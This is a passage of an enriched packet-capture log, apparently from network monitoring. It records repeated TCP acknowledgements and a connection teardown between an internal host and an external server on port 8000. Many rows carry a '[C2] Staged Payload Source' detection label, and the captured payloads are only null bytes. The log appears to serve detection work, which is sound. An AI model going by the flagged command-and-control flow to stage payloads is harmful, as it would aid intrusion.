52, \"\"id\"\": 14842, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62969, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637059, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637058, 1283637059))]\"\"}}]\"\n2026-07-01 09:13:23.966818,1016,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637058 Ack=578738452,bc24112907bbbc2411360d0c080045000029b190400080063e6e0a98980bc0a3a789fa6a1f404c82bf42227ed9145010201463ec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45456, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15982, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637058, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:23.966852,1017,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637059,bc2411360d0cbc24112907bb08004500003439fb40004006f5f8c0a3a7890a98980b1f40fa6a227ed9144c82bf438010003f0af700000101050a4c82bf424c82bf43,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L..C...?\n......\nL..BL..C\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14843, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62968, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637059, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637058, 1283637059))]\"\"}}]\"\n2026-07-01 09:13:24.966855,1018,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637058 Ack=578738452,bc24112907bbbc2411360d0c080045000029b191400080063e6d0a98980bc0a3a789fa6a1f404c82bf42227ed9145010201463ec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45457, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15981, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637058, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:24.966889,1019,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637059,bc2411360d0cbc24112907bb08004500003439fc40004006f5f7c0a3a7890a98980b1f40fa6a227ed9144c82bf438010003f0af700000101050a4c82bf424c82bf43,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L..C...?\n......\nL..BL..C\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14844, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62967, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637059, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637058, 1283637059))]\"\"}}]\"\n2026-07-01 09:13:25.966888,1020,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637058 Ack=578738452,bc24112907bbbc2411360d0c080045000029b192400080063e6c0a98980bc0a3a789fa6a1f404c82bf42227ed9145010201463ec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45458, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15980, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637058, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:25.966922,1021,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637059,bc2411360d0cbc24112907bb08004500003439fd40004006f5f6c0a3a7890a98980b1f40fa6a227ed9144c82bf438010003f0af700000101050a4c82bf424c82bf43,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L..C...?\n......\nL..BL..C\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14845, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62966, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637059, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637058, 1283637059))]\"\"}}]\"\n2026-07-01 09:13:26.966923,1022,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637058 Ack=578738452,bc24112907bbbc2411360d0c080045000029b193400080063e6b0a98980bc0a3a789fa6a1f404c82bf42227ed9145010201463ec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45459, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15979, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637058, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:26.966954,1023,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637059,bc2411360d0cbc24112907bb08004500003439fe40004006f5f5c0a3a7890a98980b1f40fa6a227ed9144c82bf438010003f0af700000101050a4c82bf424c82bf43,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L..C...?\n......\nL..BL..C\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14846, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62965, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637059, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637058, 1283637059))]\"\"}}]\"\n2026-07-01 09:13:27.966903,1024,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637058 Ack=578738452,bc24112907bbbc2411360d0c080045000029b194400080063e6a0a98980bc0a3a789fa6a1f404c82bf42227ed9145010201463ec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45460, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15978, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637058, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:27.966915,1025,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637059,bc2411360d0cbc24112907bb08004500003439ff40004006f5f4c0a3a7890a98980b1f40fa6a227ed9144c82bf438010003f0af700000101050a4c82bf424c82bf43,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L..C...?\n......\nL..BL..C\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14847, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62964, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637059, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637058, 1283637059))]\"\"}}]\"\n2026-07-01 09:13:28.966955,1026,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637058 Ack=578738452,bc24112907bbbc2411360d0c080045000029b195400080063e690a98980bc0a3a789fa6a1f404c82bf42227ed9145010201463ec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45461, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15977, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637058, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:28.966989,1027,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637059,bc2411360d0cbc24112907bb0800450000343a0040004006f5f3c0a3a7890a98980b1f40fa6a227ed9144c82bf438010003f0af700000101050a4c82bf424c82bf43,\".$.6\n..$.)....E..4:.@.@.......\n....@.j\"\"~..L..C...?\n......\nL..BL..C\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14848, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62963, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637059, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637058, 1283637059))]\"\"}}]\"\n2026-07-01 09:13:29.966966,1028,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637058 Ack=578738452,bc24112907bbbc2411360d0c080045000029b196400080063e680a98980bc0a3a789fa6a1f404c82bf42227ed9145010201463ec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45462, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15976, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637058, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:29.967001,1029,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637059,bc2411360d0cbc24112907bb0800450000343a0140004006f5f2c0a3a7890a98980b1f40fa6a227ed9144c82bf438010003f0af700000101050a4c82bf424c82bf43,\".$.6\n..$.)....E..4:.@.@.......\n....@.j\"\"~..L..C...?\n......\nL..BL..C\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14849, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62962, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637059, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637058, 1283637059))]\"\"}}]\"\n2026-07-01 09:13:30.758934,1030,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=578738452 Ack=1283637059,bc2411360d0cbc24112907bb0800450000283a0240004006f5fdc0a3a7890a98980b1f40fa6a227ed9144c82bf435011003f0aeb0000,\".$.6\n..$.)....E..(:.@.@.......\n....@.j\"\"~..L..CP..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14850, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62973, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637059, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:13:30.759123,1031,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1283637059 Ack=578738453,bc24112907bbbc2411360d0c080045000028b197400080063e680a98980bc0a3a789fa6a1f404c82bf43227ed9155010201463eb0000,\".$.)...$.6\n...E..(..@...>h\n........j.@L..C\"\"~..P. .c...\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45463, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15976, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637059, \"\"ack\"\": 578738453, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25579, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:13:30.759738,1032,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=1283637059 Ack=578738453,bc24112907bbbc2411360d0c080045000028b198400080063e670a98980bc0a3a789fa6a1f404c82bf43227ed9155011201463ea0000,\".$.)...$.6\n...E..(..@...>g\n........j.@L..C\"\"~..P. .c...\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": 